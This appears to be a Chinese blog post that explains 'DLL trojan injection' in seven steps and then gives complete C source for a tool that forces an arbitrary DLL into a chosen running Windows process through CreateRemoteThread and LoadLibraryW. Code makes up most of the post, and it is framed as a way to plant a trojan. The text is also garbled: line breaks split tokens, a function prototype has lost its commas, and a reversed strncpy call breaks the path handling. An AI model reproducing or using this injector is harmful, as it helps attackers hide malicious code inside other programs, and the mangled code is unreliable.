DLL木马注入的一般步骤

(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;

(2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;

(3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:

a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;

b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;

c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。

(4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;

(5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;

(6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;

(7)清理现场。

 

#include < windows.h >
#include
< stdlib.h >
#include
< stdio.h >
#include
< psapi.h >

DWORD ProcessToPID( 
char   * );             // 将进程名转换为PID的函数
void   CheckError  (  int int char   * );         // 出错处理函数
void   usage       (  char   * );             // 使用说明函数

PDWORD pdwThreadId; 
HANDLE hRemoteThread, hRemoteProcess;
DWORD  fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR  pszLibFileRemote
= NULL;

void  main( int  argc, char   ** argv)
{
    
int iReturnCode;
    
char lpDllFullPathName[MAX_PATH];
    WCHAR pszLibFileName[MAX_PATH]
={0};
    
//处理命令行参数
    if (argc!=3) usage("Parametes number incorrect!");
    
else{
        
//如果输入的是进程名,则转化为PID
        if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);
        
else dwRemoteProcessId = ProcessToPID(argv[1]);
        
//判断输入的DLL文件名是否是绝对路径
        if(strstr(argv[2],":/")!=NULL)
            strncpy(argv[
2], lpDllFullPathName, MAX_PATH);
        
else
        
{    //取得当前目录,将相对路径转换成绝对路径
            iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);
            CheckError(iReturnCode, 
0"GetCurrentDirectory");
            strcat(lpDllFullPathName, 
"/");
            strcat(lpDllFullPathName, argv[
2]);
            printf(
"Convert DLL filename to FullPathName: %s ",
                lpDllFullPathName);
        }

        
//判断DLL文件是否存在
        iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
        CheckError(iReturnCode, HFILE_ERROR, 
"DLL File not Exist");
        
//将DLL文件全路径的ANSI码转换成UNICODE码
        iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
            lpDllFullPathName, strlen(lpDllFullPathName),
            pszLibFileName, MAX_PATH);
        CheckError(iReturnCode, 
0"MultByteToWideChar");
        
//输出最后的操作参数
        wprintf(L"Will inject %s", pszLibFileName);
        printf(
" into process:%s PID=%d ", argv[1], dwRemoteProcessId);        
    }



    
//打开远程进程
    hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程 
        PROCESS_VM_OPERATION | //允许VM操作
        PROCESS_VM_WRITE,       //允许VM写
        FALSE, dwRemoteProcessId );    
    CheckError( (
int) hRemoteProcess, NULL, 
        
"Remote Process not Exist or Access Denied!");
    
//计算DLL路径名需要的内存空间
    int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
    pszLibFileRemote 
= (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, 
        MEM_COMMIT, PAGE_READWRITE);
    CheckError((
int)pszLibFileRemote, NULL, "VirtualAllocEx");
    
//将DLL的路径名复制到远程进程的内存空间
    iReturnCode = WriteProcessMemory(hRemoteProcess, 
        pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
    CheckError(iReturnCode, 
false"WriteProcessMemory");
    
//计算LoadLibraryW的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
        GetProcAddress(GetModuleHandle(TEXT(
"Kernel32")), "LoadLibraryW");
    CheckError((
int)pfnStartAddr, NULL, "GetProcAddress");
    
//启动远程线程,通过远程线程调用用户的DLL文件    
    hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,                                                         pfnStartAddr, pszLibFileRemote, 0, NULL);
    CheckError((
int)hRemoteThread, NULL, "Create Remote Thread");
    
//等待远程线程退出
    WaitForSingleObject(hRemoteThread, INFINITE);
    
//清场处理
    if (pszLibFileRemote != NULL)
        VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 
0, MEM_RELEASE);
    
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
    
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
}
// end of main()

// 将进程名转换为PID的函数
DWORD ProcessToPID( char   * InputProcessName)
{
    DWORD aProcesses[
1024], cbNeeded, cProcesses;
    unsigned 
int i;
    HANDLE hProcess;
    HMODULE hMod;
    
char szProcessName[MAX_PATH] = "UnknownProcess";



    
// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
    if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )  return 0;
    cProcesses 
= cbNeeded / sizeof(DWORD);
    
// 按有效的PID遍历所有的进程
    for ( i = 0; i < cProcesses; i++ ) 
    
{
        
// 打开特定PID的进程
        hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |PROCESS_VM_READ,
            FALSE, aProcesses[i]);
        
// 取得特定PID的进程名
        if ( hProcess )
        
{
            
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
            
{
                GetModuleBaseName( hProcess, hMod, 
                    szProcessName, 
sizeof(szProcessName) );
                
//将取得的进程名与输入的进程名比较,如相同则返回进程PID
                if(!_stricmp(szProcessName, InputProcessName)){
                    CloseHandle( hProcess );
                    
return aProcesses[i];
                }

            }

        }
//end of if ( hProcess )
    }
//end of for
    
//没有找到相应的进程名,返回0
    CloseHandle( hProcess );
    
return 0;
}
// end of ProcessToPID

// 错误处理函数CheckError()
// 如果iReturnCode等于iErrorCode,则输出pErrorMsg并退出
void  CheckError( int  iReturnCode,  int  iErrorCode,  char   * pErrorMsg)
{
    
if(iReturnCode==iErrorCode) {
        printf(
"%s Error:%d ", pErrorMsg, GetLastError());
        
//清场处理
        if (pszLibFileRemote != NULL)
            VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 
0, MEM_RELEASE);
        
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
        
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
        exit(
0);
    }

}
// end of CheckError()

// 使用方法说明函数usage()
void  usage( char   *  pErrorMsg)
{
    printf(
"%s ",pErrorMsg);
    printf(
" Remote Process DLL by Shotgun ");
    printf(
" This program can inject a DLL into remote process ");
    printf(
"Email: ");
    printf(
" Shotgun@Xici.Net ");
    printf(
"HomePage: ");
    printf(
" http://It.Xici.Net ");
    printf(
" http://www.Patching.Net ");
    printf(
"USAGE: ");
    printf(
" RmtDLL.exe PID[|ProcessName] DLLFullPathName ");
    printf(
"Example: ");
    printf(
" RmtDLL.exe 1024 C:/WINNT/System32/MyDLL.dll ");
    printf(
" RmtDLL.exe Explorer.exe C:/MyDLL.dll ");
    exit(
0);
}
// end of usage() 




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值